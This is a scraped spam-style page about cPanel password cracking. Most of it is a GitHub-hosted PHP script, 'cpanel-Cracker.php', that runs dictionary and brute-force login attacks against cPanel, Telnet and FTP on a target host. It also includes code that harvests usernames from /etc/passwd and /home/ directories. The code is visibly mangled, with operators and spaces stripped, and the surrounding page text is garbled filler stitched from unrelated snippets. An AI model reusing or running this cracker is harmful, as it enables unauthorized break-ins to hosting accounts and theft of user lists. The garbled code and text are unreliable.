Password List Crack Cpanel Download
Password List Crack Cpanel Download Average ratng: 6,8/10 5430 votes
Password cracking is an integral part of digital forensics and pentesting. Keeping that in mind, we have prepared a list of the top 10 best password cracking tools that are widely used by ethical. How to change mySQL root Password on a cPanel server. The above steps are for changing the password of a database user on cPanel server. Do the below steps to change the mySQL root password of the server.
PermalinkJoin GitHub today
Password List Crack Cpanel Download For Windows
GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together.
Sign up Find file Copy path
hacker404Create cpanel-Cracker.php0836594Nov 4, 2014

1 contributor
| <?php |
| $cpanel_port='2082'; |
| $connect_timeout=5; |
| set_time_limit(0); |
| $submit=$_REQUEST['submit']; |
| $users=$_REQUEST['users']; |
| $pass=$_REQUEST['passwords']; |
| $target=$_REQUEST['target']; |
| $cracktype=$_REQUEST['cracktype']; |
| if($target''){ |
| $target='localhost'; |
| } |
| $charset=$_REQUEST['charset']; |
| if($charset'') |
| $charset='lowercase'; |
| $max_length=$_REQUEST['max_length']; |
| if($max_length'') |
| $max_length=10; |
| $min_length=$_REQUEST['min_length']; |
| if($min_length'') |
| $min_length=1; |
| $charsetall=array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'); |
| $charsetlower=array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'); |
| $charsetupper=array('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'); |
| $charsetnumeric=array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9'); |
| $charsetlowernumeric=array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'); |
| $charsetuppernumeric=array('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'); |
| $charsetletters=array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z' ); |
| $charsetsymbols=array('!', '@', '#', '$', '%', '^', '&', '*', '(', ')','_' ); |
| $charsetlowersymbols=array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z','!', '@', '#', '$', '%', '^', '&', '*', '(', ')','_' ); |
| $charsetuppersymbols=array('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z','!', '@', '#', '$', '%', '^', '&', '*', '(', ')','_' ); |
| $charsetletterssymbols=array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z','!', '@', '#', '$', '%', '^', '&', '*', '(', ')','_' ); |
| $charsetnumericsymbols=array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9','!', '@', '#', '$', '%', '^', '&', '*', '(', ')','_' ); |
| $charsetlowernumericsymbols=array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9','!', '@', '#', '$', '%', '^', '&', '*', '(', ')','_' ); |
| $charsetuppernumericsymbols=array('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9','!', '@', '#', '$', '%', '^', '&', '*', '(', ')','_' ); |
| $charsetletterssymbols=array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z' ,'!', '@', '#', '$', '%', '^', '&', '*', '(', ')','_' ); |
| $charsetlettersnumericsymbols=array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z' ,'!', '@', '#', '$', '%', '^', '&', '*', '(', ')','_','0', '1', '2', '3', '4', '5', '6', '7', '8', '9' ); |
| if ($charset'all') |
| $vals=$charsetall; |
| elseif ($charset'lowercase') |
| $vals=$charsetlower; |
| elseif ($charset'uppercase') |
| $vals=$charsetupper; |
| elseif ($charset'numeric') |
| $vals=$charsetnumeric; |
| elseif ($charset'lowernumeric') |
| $vals=$charsetlowernumeric; |
| elseif ($charset'uppernumeric') |
| $vals=$charsetuppernumeric; |
| elseif ($charset'letters') |
| $vals=$charsetletters; |
| elseif ($charset'symbols') |
| $vals=$charsetsymbols; |
| elseif ($charset'lowersymbols') |
| $vals=$charsetlowersymbols; |
| elseif ($charset'uppersymbols') |
| $vals=$charsetuppersymbols; |
| elseif ($charset'letterssymbols') |
| $vals=$charsetletterssymbols; |
| elseif ($charset'numberssymbols') |
| $vals=$charsetnumericsymbols; |
| elseif ($charset'lowernumericsymbols') |
| $vals=$charsetlowernumericsymbols; |
| elseif ($charset'uppernumericsymbols') |
| $vals=$charsetuppernumericsymbols; |
| elseif ($charset'lettersnumericsymbols') |
| $vals=$charsetlettersnumericsymbols; |
| elseecho'INVALID CHARSET'; |
| ?> |
| <html> |
| <head> |
| <metahttp-equiv='Content-Language'content='en-us'> |
| </head> |
| <title>Cpanel , FTP CraCkeR</title> |
| <bodytext='#00FF00'bgcolor='#000000'vlink='#008000'link='#008000'alink='#008000'> |
| <divalign='center'> |
| <formmethod='POST'style='border: 1pxsolid#000000'> |
| <imgborder='0'src='http://www.alm3refh.com/upload/group/groupxp.gif'width='426'height='169'><tableborder='1'width='67%'bordercolorlight='#008000'bordercolordark='#003700'> |
| <tr> |
| <td> |
| <palign='center'><b><fontcolor='#008000'face='Tahoma'size='2'> |
| <spanlang='en-us'>IP server</span> :</font><fontface='Arial'> |
| </font><fontface='Arial'color='#CC0000'> |
| <inputtype='text'name='target'size='16'value='<?phpecho$target?>'style='border: 2pxsolid#1D1D1D; background-color: #000000; color:#008000; font-family:Verdana; font-weight:bold; font-size:13px'></font></b></p> |
| <palign='center'><b><fontcolor='#008000'face='Tahoma'size='2'> </font></b></p> |
| <divalign='center'> |
| <tableborder='1'width='57%'bordercolorlight='#008000'bordercolordark='#003700'> |
| <tr> |
| <tdalign='center'> |
| <spanlang='en-us'><fontcolor='#FF0000'><b>User List</b></font></span></td> |
| <td> |
| <palign='center'> |
| <spanlang='en-us'><fontcolor='#FF0000'><b>Password List</b></font></span></td> |
| </tr> |
| </table> |
| <palign='center'> <textarearows='20'name='users'cols='25'style='border: 2pxsolid#1D1D1D; background-color: #000000; color:#C0C0C0'><?phpecho$users?> |
| </textarea><textarearows='20'name='passwords'cols='25'style='border: 2pxsolid#1D1D1D; background-color: #000000; color:#C0C0C0'><?phpecho$pass?></textarea><br> |
| <br> |
| <fontstyle='font-weight:700'size='2'face='Tahoma'color='#008000'> |
| <spanlang='ar-sa'>Guess options</span></font><fontstyle='font-size: 12pt;'size='-3'face='Verdana'><spanstyle='font-size: 9pt;'> |
| <fontface='Tahoma'> |
| <inputname='cracktype'value='cpanel'style='font-weight: 700;'checkedtype='radio'></font></span></font><b><fontsize='2'face='Tahoma'> |
| Cpanel</font><fontsize='2'color='#cc0000'face='Tahoma'> |
| </font><fontsize='2'color='#FFFFFF'face='Tahoma'> |
| (2082)</font></b><fontsize='2'face='Tahoma'><b> </b> |
| </font> |
| <fontstyle='font-size: 12pt;'size='-3'face='Verdana'> |
| <spanstyle='font-size: 9pt;'><fontface='Tahoma'> |
| <inputname='cracktype'value='cpanel2'style='font-weight: 700;'type='radio'></font></span></font><b><fontsize='2'face='Tahoma'> |
| Telnet</font><fontsize='2'color='#cc0000'face='Tahoma'> |
| </font><fontsize='2'color='#FFFFFF'face='Tahoma'> |
| (23)</font></b><fontsize='2'face='Tahoma'><b> </b> |
| </font> |
| <fontstyle='font-size: 12pt;'size='-3'face='Verdana'> |
| <spanstyle='font-size: 9pt;'><fontface='Tahoma'> |
| <inputname='cracktype'value='ftp'style='font-weight: 700;'type='radio'></font></span></font><fontstyle='font-weight: 700;'size='2'face='Tahoma'> |
| </font><spanstyle='font-weight: 700;'> |
| <fontsize='2'face='Tahoma'>Ftp </font> |
| <fontsize='2'color='#FFFFFF'face='Tahoma'> |
| (21)</font></span> |
| <br> |
| <fontstyle='font-weight:700'size='2'face='Tahoma'color='#008000'><spanlang='ar-sa'>Timeout delay</span> |
| <inputtype='text'name='connect_timeout'style='border: 2pxsolid#1D1D1D;background: black;color:RED'size=48value='<?phpecho$connect_timeout;?>'></input> |
| <br> |
| <inputtype='checkbox'name='bruteforce'value='true'><fontstyle='font-weight:700'size='2'face='Tahoma'color='#008000'><spanlang='ar-sa'>Bruteforce</span></input> |
| <selectname='charset'style='border: 2pxsolid#1D1D1D;background: black;color:RED'> |
| <optionvalue='all'>All Letters + Numbers</option> |
| <optionvalue='numeric'>Numbers</option> |
| <optionvalue='letters'>Letters</option> |
| <optionvalue='symbols'>Symbols</option> |
| <optionvalue='lowercase'>Lower Letters</option> |
| <optionvalue='uppercase'>Higher Letters</option> |
| <optionvalue='lowernumeric'>Lower Letters + Numbers</option> |
| <optionvalue='uppernumeric'>Upper Letters + Numbers</option> |
| <optionvalue='lowersymbols'>Lower Letters + Symbols</option> |
| <optionvalue='uppersymbols'>Upper Letters + Symbols</option> |
| <optionvalue='letterssymbols'>All Letters + Symbols</option> |
| <optionvalue='numberssymbols'>Numbers + Symbols</option> |
| <optionvalue='lowernumericsymbols'>Lower Letters + Numbers + Symbols</option> |
| <optionvalue='uppernumericsymbols'>Upper Letters + Numbers + Symbols</option> |
| <optionvalue='lettersnumericsymbols'>All Letters + Numbers + Symbols</option> |
| </select> |
| <br> |
| <fontstyle='font-weight:700'size='2'face='Tahoma'color='#008000'><spanlang='ar-sa'>Min Bruteforce Length:</span></font> |
| <inputtype='text'name='min_length'style='border: 2pxsolid#1D1D1D;background: black;color:RED'size=48value='<?phpecho$min_length;?>'></input> |
| <br> |
| <fontstyle='font-weight:700'size='2'face='Tahoma'color='#008000'><spanlang='ar-sa'>Max Bruteforce Length:</span></font> |
| <inputtype='text'name='max_length'style='border: 2pxsolid#1D1D1D;background: black;color:RED'size=48value='<?phpecho$max_length;?>'></input> |
| </p> |
| <palign='center'> |
| <inputtype='submit'value='Go'name='submit'style='color: #008000; font-weight: bold; border: 1pxsolid#333333; background-color: #000000'></p> |
| </td> |
| </tr> |
| </table> |
| <palign='center'></td> |
| </tr> |
| </form> |
| <?php |
| functionbrute() |
| { |
| global$vals,$min_length,$max_length; |
| global$target,$pureuser,$connect_timeout; |
| $min=$min_length; |
| $max=$max_length; |
| $A=array(); |
| $numVals=count($vals); |
| $incDone=''; |
| $realMax=''; |
| $currentVal=''; |
| $firstVal=''; |
| for ($i=0; $i< ($max+1); $i++) { |
| $A[$i] =-1; |
| } |
| for ($i=0; $i<$max; $i++) { |
| $realMax=$realMax.$vals[$numVals-1]; |
| } |
| for ($i=0; $i<$min; $i++) { |
| $A[$i] =$vals[0]; |
| } |
| $i=0; |
| while ($A[$i] !=-1) { |
| $firstVal.=$A[$i]; |
| $i++; |
| } |
| //echo $firstVal . '<br>'; |
| cpanel_check($target,$pureuser,$firstVal,$connect_timeout); |
| while (1) { |
| for ($i=0; $i< ($max+1); $i++) { |
| if ($A[$i] -1) { |
| break; |
| } |
| } |
| $i--; |
| $incDone=0; |
| while (!$incDone) { |
| for ($j=0; $j<$numVals; $j++) { |
| if ($A[$i] $vals[$j]) { |
| break; |
| } |
| } |
| if ($j ($numVals-1)) { |
| $A[$i] =$vals[0]; |
| $i--; |
| if ($i<0) { |
| for ($i=0; $i< ($max+1); $i++) { |
| if ($A[$i] -1) { |
| break; |
| } |
| } |
| $A[$i] =$vals[0]; |
| $A[$i+1] =-1; |
| $incDone=1; |
| print'Starting '. (strlen($currentVal) +1) .' Characters Cracking<br>'; |
| } |
| } else { |
| $A[$i] =$vals[$j+1]; |
| $incDone=1; |
| } |
| } |
| $i=0; |
| $currentVal=''; |
| while ($A[$i] !=-1) { |
| $currentVal=$currentVal.$A[$i]; |
| $i++; |
| } |
| cpanel_check($target,$pureuser,$currentVal,$connect_timeout); |
| //echo $currentVal . '<br>'; |
| if ($currentVal$realMax) { |
| return0; |
| } |
| } |
| } |
| functiongetmicrotime() { |
| list($usec, $sec) =explode('',microtime()); |
| return ((float)$usec+ (float)$sec); |
| } |
| functionftp_check($host,$user,$pass,$timeout) |
| { |
| $ch=curl_init(); |
| curl_setopt($ch, CURLOPT_URL, 'ftp://$host'); |
| curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); |
| curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); |
| curl_setopt($ch, CURLOPT_FTPLISTONLY, 1); |
| curl_setopt($ch, CURLOPT_USERPWD, '$user:$pass'); |
| curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); |
| curl_setopt($ch, CURLOPT_FAILONERROR, 1); |
| $data=curl_exec($ch); |
| if ( curl_errno($ch) 28 ) |
| { |
| print'<b><font face='Verdana' style='font-size: 9pt'> |
| <font color='#AA0000'>Error :</font> <font color='#008000'>Connection Timeout |
| Please Check The Target Hostname .</font></font></b></p>';exit; |
| } |
| elseif ( curl_errno($ch) 0 ) |
| { |
| print'<b><font face='Tahoma' style='font-size: 9pt' color='#008000'>[~]</font></b><font face='Tahoma' style='font-size: 9pt'><b><font color='#008000'> |
| Cracking Success With Username "</font><font color='#FF0000'>$user</font><font color='#008000'>' |
| and Password '</font><font color='#FF0000'>$pass</font><font color='#008000'>'</font></b><br><br>'; |
| } |
| curl_close($ch); |
| } |
| functioncpanel_check($host,$user,$pass,$timeout) |
| { |
| global$cpanel_port; |
| $ch=curl_init(); |
| //echo 'http://$host:'.$cpanel_port.' $user $pass<br>'; |
| curl_setopt($ch, CURLOPT_URL, 'http://$host:'.$cpanel_port); |
| curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); |
| curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); |
| curl_setopt($ch, CURLOPT_USERPWD, '$user:$pass'); |
| curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); |
| curl_setopt($ch, CURLOPT_FAILONERROR, 1); |
| $data=curl_exec($ch); |
| if ( curl_errno($ch) 28 ) |
| { |
| print'<b><font face='Verdana' style='font-size: 9pt'> |
| <font color='#AA0000'>Error :</font> <font color='#008000'>Connection Timeout |
| Please Check The Target Hostname .</font></font></b></p>';exit; |
| } |
| elseif ( curl_errno($ch) 0 ) |
| { |
| print'<b><font face='Tahoma' style='font-size: 9pt' color='#008000'>[~]</font></b><font face='Tahoma' style='font-size: 9pt'><b><font color='#008000'> |
| Cracking Success With Username "</font><font color='#FF0000'>$user</font><font color='#008000'>' |
| and Password '</font><font color='#FF0000'>$pass</font><font color='#008000'>'</font></b><br><br>'; |
| } |
| curl_close($ch); |
| } |
| $time_start= getmicrotime(); |
| if(isset($submit) &&!empty($submit)) |
| { |
| if(empty($users) &&empty($pass) ) |
| { |
| print'<p><font face='Tahoma' size='2'><b><font color='#FF0000'>Error : </font>Please Check The Users or Password List Entry . . .</b></font></p>'; exit; } |
| if(empty($users)){ print'<p><font face='Tahoma' size='2'><b><font color='#FF0000'>Error : </font>Please Check The Users List Entry . . .</b></font></p>'; exit; } |
| if(empty($pass) &&$_REQUEST['bruteforce']!='true' ){ print'<p><font face='Tahoma' size='2'><b><font color='#FF0000'>Error : </font>Please Check The Password List Entry . . .</b></font></p>'; exit; }; |
| $userlist=explode('n',$users); |
| $passlist=explode('n',$pass); |
| print'<b><font face='Tahoma' style='font-size: 9pt' color='#008000'>[~]#</font><font face='Tahoma' style='font-size: 9pt' color='#FF0000'> |
| Cracking Process Started, Please Wait ...</font></b><br><br>'; |
| if(isset($_POST['connect_timeout'])) |
| { |
| $connect_timeout=$_POST['connect_timeout']; |
| } |
| if($cracktype'ftp') |
| { |
| foreach ($userlistas$user) |
| { |
| $pureuser=trim($user); |
| foreach ($passlistas$password ) |
| { |
| $purepass=trim($password); |
| ftp_check($target,$pureuser,$purepass,$connect_timeout); |
| } |
| } |
| } |
| if ($cracktype'cpanel'$cracktype'cpanel2') |
| { |
| if($cracktype'cpanel2') |
| { |
| $cpanel_port='23'; |
| } |
| else |
| $cpanel_port='2082'; |
| foreach ($userlistas$user) |
| { |
| $pureuser=trim($user); |
| print'<b><font face='Tahoma' style='font-size: 9pt' color='#008000'>[~]#</font><font face='Tahoma' style='font-size: 9pt' color='#FF0800'> |
| Processing user $pureuser ... </font></b>'; |
| if($_POST['bruteforce']'true') |
| { |
| echo' bruteforcing ..'; |
| echo'<br>'; |
| brute(); |
| } |
| else |
| { |
| echo'<br>'; |
| foreach ($passlistas$password ) |
| { |
| $purepass=trim($password); |
| cpanel_check($target,$pureuser,$purepass,$connect_timeout); |
| } |
| } |
| } |
| $time_end= getmicrotime(); |
| $time=$time_end-$time_start; |
| print'<b><font face='Tahoma' style='font-size: 9pt' color='#008000'>[~]#</font><font face='Tahoma' style='font-size: 9pt' color='#FF0000'> |
| Cracking Finished. Elapsed time: $time</font> seconds</b><br><br>'; |
| } |
| } |
| ?> |
| <palign='center'><b><ahref='http://www.alm3refh.com/vb'> |
| <spanstyle='text-decoration: none'>Sunni</span></a></b></p> |
| <formstyle='border: 0pxridge#FFFFFF'> |
| <palign='center'></td> |
| </tr><divalign='center'> |
| <tr> |
| </form> |
| <divalign='center'> |
| <tableborder='1'width='10%'bordercolorlight='#008000'bordercolordark='#006A00'height='100'cellspacing='1'> |
| <tr> |
| <tdbordercolorlight='#008000'bordercolordark='#006A00'> |
| <palign='left'> |
| <textareastyle='border: 2pxsolid#1D1D1D;background: #200000;color:#CCFFFF'method='POST'rows='25'name='S1'cols='22'> |
| <?php |
| if (isset($_GET['user'])) |
| system('ls /var/mail'); |
| if (isset($_POST['grab_users1'])) //grab users from /etc/passwd |
| { |
| $lines=file('/etc/passwd'); |
| foreach($linesas$nr=>$val) |
| { |
| $str=explode(':',$val); |
| echo$str[0].'n'; |
| } |
| } |
| if (isset($_POST['grab_users2'])) |
| { |
| $dir='/home/'; |
| if ($dh=opendir($dir)) { |
| while (($file=readdir($dh)) !false) { |
| echo$file.'n'; |
| } |
| closedir($dh); |
| } |
| } |
| ?> |
| </textarea> |
| <table> |
| <tr> |
| <formaction=''method='POST'> |
| <inputtype='hidden'value='true'name='grab_users1'></input> |
| <inputtype=submitvalue='Grab Usernames from /etc/passwd'></input> |
| </form> |
| </tr> |
| <br> |
| <tr> |
| <formaction=''method='POST'> |
| <inputtype='hidden'value='true'name='grab_users2'></input> |
| <inputtype=submitvalue='Grab Usernames from /home/'></input> |
| </form> |
| </tr> |
| <br> |
| <tr> |
| <formaction=''method='POST'> |
| <inputtype='hidden'value='true'name='grab_users3'></input> |
| <inputtype=submitvalue='Grab Usernames from /home/ II'></input> |
| </form> |
| </tr> |
| </form> |
| </table> |
| <?php |
| if (isset($_POST['grab_users3'])) |
| { |
| error_reporting(0); |
| $dir='/home/'; |
| if ($dh=opendir($dir)) |
| { |
| $f=readdir($dh);$f=readdir($dh); |
| while (($f=readdir($dh)) !false) |
| { |
| //echo $f. 'n'; |
| $f.='/'; |
| $dh2=opendir($dir.$f); |
| $f2=readdir($dh2);$f2=readdir($dh2); |
| while (($f2=readdir($dh2)) !false) |
| { |
| //echo $f2. 'n'; |
| $f2.='/'; |
| $dh3=opendir($dir.$f.$f2); |
| $f3=readdir($dh3);$f3=readdir($dh3); |
| while (($f3=readdir($dh3)) !false) |
| { |
| echo$f3.'<br>'; |
| } |
| } |
| } |
| closedir($dh); |
| } |
| } |
| ?> |
Copy lines Copy permalink